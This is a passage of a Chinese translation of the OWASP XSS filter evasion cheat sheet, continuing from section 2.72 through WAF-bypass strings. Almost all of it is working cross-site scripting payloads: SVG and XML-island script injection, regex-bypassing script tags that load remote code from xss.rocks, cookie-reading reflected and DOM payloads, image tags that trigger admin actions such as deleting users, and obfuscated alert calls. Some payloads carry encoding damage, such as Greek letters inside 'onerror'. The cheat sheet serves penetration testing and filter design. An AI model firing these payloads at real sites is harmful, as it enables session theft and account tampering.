<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>?
?
?
2.72.??? 使用EMBED SVG包含攻擊向量
?
?
該示例只在FireFox下有效,但是比上面的攻擊向量在FireFox下好,因為不需要用戶安裝或啟用FLASH。感謝nEUrOO提供:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>?
?
?
2.73.??? 在FLASH中使用ActionScript混淆XSS攻擊向量
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
?
?
?
?
2.74.??? CDATA混淆的XML數據島
?
?
這個XSS攻擊只在IE和使用IE渲染模式的Netscape 8.1下有效-攻擊向量由Sec Consult在審計Yahoo時發現
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
?
?
2.75.??? 使用XML數據島生成含內嵌JavaScript的本地XML文件
?
?
這和上面是一樣的但是將來源替換為了包含跨站腳本攻擊向量的本地XML文件(必須在同一服務器上):
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
?
?
2.76.??? XML中使用HTML+TIME
?
?
這是Grey Magic攻擊Hotmail和Yahoo的方法。這只在IE和IE渲染模式下的Netscape8.1有效并且記得需要在HTML域的BODY標簽中間才有效:
<HTML><BODY>?
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
?
?
2.77.??? 使用一些字符繞過".js"過濾
?
?
你可以將你的JavaScript文件重命名為圖像來作為XSS攻擊向量:
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>?
?
?
2.78.??? SSI(服務端腳本包含)
?
?
這需要在服務器端允許SSI來使用XSS攻擊向量。似乎不用提示這點,因為如果你可以在服務器端執行指令那一定是有更嚴重的問題存在:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->?
?
?
2.79.??? PHP
?
?
需要服務器端安裝了PHP來使用XSS攻擊向量。同樣,如果你可以遠程運行任意腳本,那會有更加嚴重的問題:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
?
?
2.80.??? 嵌入命令的IMAGE
?
?
當頁面受密碼保護并且這個密碼保護同樣適用于相同域的不同頁面時有效,這可以用來進行刪除用戶,增加用戶(如果訪問頁面的是管理員的話),將密碼發送到任意地方等等。。。這是一個較少使用當時更有價值的XSS攻擊向量:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">?
2.80.1. 嵌入命令的IMAGE II
?
?
這更加可怕因為這不包含任何可疑標識,除了它不在你自己的域名上。這個攻擊向量使用一個302或304(其他的也有效)來重定向圖片到指定命令。所以一個普通的<IMG SRC="httx://badguy.com/a.jpg">對于訪問圖片鏈接的用戶來說也有可能是一個攻擊向量。下面是利用.htaccess(Apache)配置文件來實現攻擊向量。(感謝Timo提供這部分。):
Redirect 302 /a.jpg?http://victimsite.com/admin.asp&deleteuser
?
?
2.81.??? Cookie篡改
?
?
盡管公認不太實用,但是還是可以發現一些允許使用META標簽的情況下可用它來覆寫cookie。另外的例子是當用戶訪問網站頁面時,一些網站讀取并顯示存儲在cookie中的用戶名,而不是數據庫中。當這兩種場景結合時,你可以修改受害者的cookie以便將JavaScript注入到其頁面中(你可以使用這個讓用戶登出或改變他們的用戶狀態,甚至可以讓他們以你的賬戶登錄):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">?
?
?
2.82.??? UTF-7編碼
?
?
如果存在XSS的頁面沒有提供頁面編碼頭部,或者使用了任何設置為使用UTF-7編碼的瀏覽器,就可以使用下列方式進行攻擊(感謝Roman Ivanov提供)。這在任何不改變編碼類型的現代瀏覽器上是無效的,這也是為什么標記為完全不支持的原因。Watchfire在Google的自定義404腳本中發現這個問題:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-?
?
?
2.83.??? 利用HTML引號包含的XSS
?
?
這在IE中測試通過,但還得視情況而定。它是為了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPT SRC..."形式的正則過濾即"/<script[^>]+src/i":
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
這是為了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPTSRC..."形式的正則過濾即" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"(這很重要,因為在實際環境中出現過這種正則過濾):
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
另一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS:
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
又一個繞過正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS。盡管不想提及防御方法,但如果你想允許<SCRIPT>標簽但不加載遠程腳本,針對這種XSS只能使用狀態機去防御(當然如果允許<SCRIPT>標簽的話,還有其他方法繞過):
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
最后一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下無效):
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
這是一個XSS樣例,用來繞過那些不會檢查引號配對,而是發現任何引號就立即結束參數字符串的正則表達式:
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
這個XSS很讓人擔心,因為如果不過濾所有活動內容幾乎不可能防止此攻擊:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>?
?
?
2.84.??? URL字符繞過
?
?
假定"http://www.google.com/"是不被允許的:
?
?
2.84.1. IP代替域名
<A HREF="http://66.102.7.147/">XSS</A>?
?
?
?
?
2.84.2. URL編碼
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>?
?
?
?
?
2.84.3. 雙字節編碼
?
?
(注意:還有另一種雙字節編碼):
<A HREF="http://1113982867/">XSS</A>?
?
?
2.84.4. 十六進制編碼
?
?
每個數字的允許的范圍大概是240位字符,就如你在第二位上看到的,并且由于十六進制是在0到F之間,所以開頭的0可以省略:
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>?
?
?
2.84.5. 八進制編碼
?
?
又一次允許填充,盡管你必須保證每類在4位字符以上-例如A類,B類等等:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
?
?
2.84.6. 混合編碼
?
?
讓我們混合基本編碼并在其中插入一些TAB和換行,雖然不知道瀏覽器為什么允許這樣做。TAB和換行只有被引號包含時才有效:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
?
?
2.84.7. 協議解析繞過
?
?
(// 替代http://可以節約很多字節).當輸入空間有限時很有用(少兩個字符可能解決大問題) 而且可以輕松繞過類似"(ht|f)tp(s)?://"的正則過濾(感謝Ozh提供這部分).你也可以將"//"換成"\\"。你需要保證斜杠在正確的位置,否則可能被當成相對路徑URL:
<A HREF="//www.google.com/">XSS</A>
?
?
2.84.8. Google的"feeling lucky"功能1
?
?
Firefox使用Google的"feeling lucky"功能根據用戶輸入的任何關鍵詞來將用戶重定向。如果你存在漏洞的頁面在某些隨機關鍵詞上搜索引擎排名是第一的,你就可以利用這一特性來攻擊FireFox用戶。這使用了Firefox的"keyword:"協議。你可以像下面一樣使用多個關鍵詞"keyword:XSS+RSnake"。這在Firefox2.0后不再有效.
<A HREF="//google">XSS</A>
?
?
2.84.9. Google的"feeling lucky"功能2
?
?
這使用了一個僅在FireFox上有效的小技巧,因為它實現了"feelinglucky"功能。不像下面一個例子,這個在Opera上無效因為Opera會認為只是一個老式的HTTP基礎認證釣魚攻擊,但它并不是。它只是一個畸形的URL。如果你點擊了對話框的確定,它就可以生效。但是在Opera上會是一個錯誤對話框,所以認為其不被Opera所支持,同樣在Firefox2.0后不再有效。
<A HREF="http://ha.ckers.org@google">XSS</A>
?
?
2.84.10.??????Google的"feeling lucky"功能3
?
?
這是一個畸形的URL只在FireFox和Opera下有效,因為它們實現了"feeling lucky"功能。像上面的例子一樣,它要求你的攻擊頁面在Google上特定關鍵詞排名第一(在這個示例里關鍵詞是"google")
<A HREF="http://google:ha.ckers.org">XSS</A>
?
?
2.84.11.??????移除別名
?
?
當結合上面的URL,移除"www."會節約4個字節,總共為正確設置的服務器節省9字節:
<A HREF="http://google.com/">XSS</A>
?
?
2.84.12.??????絕對DNS名稱后額外的點
<A HREF="http://www.google.com./">XSS</A>
?
?
?
?
2.84.13.??????JavaScriptlink location
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
?
?
?
?
2.84.14.??????內容替換作為攻擊向量
?
?
假設"http://www.google.com/"會自動替換為空。我實際使用過類似的攻擊向量即通過使用轉換過濾器本身(示例如下)來幫助構建攻擊向量以對抗現實世界的XSS過濾器:
<A HREF="http://www.google.com/ogle.com/">XSS</A>
2.85. ? ?字符轉義表
?
?
下面是HTML和JavaScript中字符“<”的所有可能組合。其中大部分不會被渲染出來,但其中許多可以在某些情況下呈現出來。:
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
?
3.繞過WAF的方法
?
?
通用問題
?
?
? 存儲型XSS
?
?
如果攻擊者已經讓XSS繞過過濾器,WAF無法阻止攻擊透過。
?
?
?基于JavaScript的反射型XSS
示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
利用: /?xss=500); alert(document.cookie);//
?
?
?
?基于DOM的XSS
示例: <script> ... eval($_GET[xss]); ... </script>
利用: /?xss=document.cookie
?
?
?
通過請求重定向構造XSS
?
?
?存在漏洞代碼:
...
?header('Location: '.$_GET['param']);
...
?
?
同樣包括:
...
?header('Refresh: 0; URL='.$_GET['param']);
...
?
?
?這種請求不會繞過WAF:
/?param=javascript:alert(document.cookie)
?
?
?這種請求可以繞過WAF并且XSS攻擊可以在某些瀏覽器執行:
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
?
?
繞過WAF可用字符串.
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" οnmοuseοver="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" οnerrοr="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 οnerrοr=alert(XSS)>
<img src=x:alert(alt) οnerrοr=eval(src) alt=0>
<img? src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg οnlοad=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/οnerrοr='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>?
On Mouse Over?
<img src="/" =_=" title="οnerrοr='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/οnmοuseοver="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
?
?
?
3.1.? Alert混淆以繞過過濾器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
?
4.作者和主要編輯
?
?
Robert "RSnake" Hansen
?
5.貢獻者
?
?
Adam Lange
?
?
Mishra Dhiraj
?
?
版權與許可
?
?
版權所有:OWASP基金會?
?
本文檔基于 Creative Commons Attribution ShareAlike3.0 license 發布。任何重用或發行,都必須向他人明確該文檔的許可條款。?http://creativecommons.org/licenses/by-sa/3.0/
*原文地址:owasp.org,walletong@ansion編譯,轉載自FreeBuf.COM
總結
以上是生活随笔為你收集整理的XSS绕过,XSS过滤速查,XSS绕过姿势的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: String去重复
- 下一篇: 博弈论基础知识: 巴什博奕+斐波那契博弈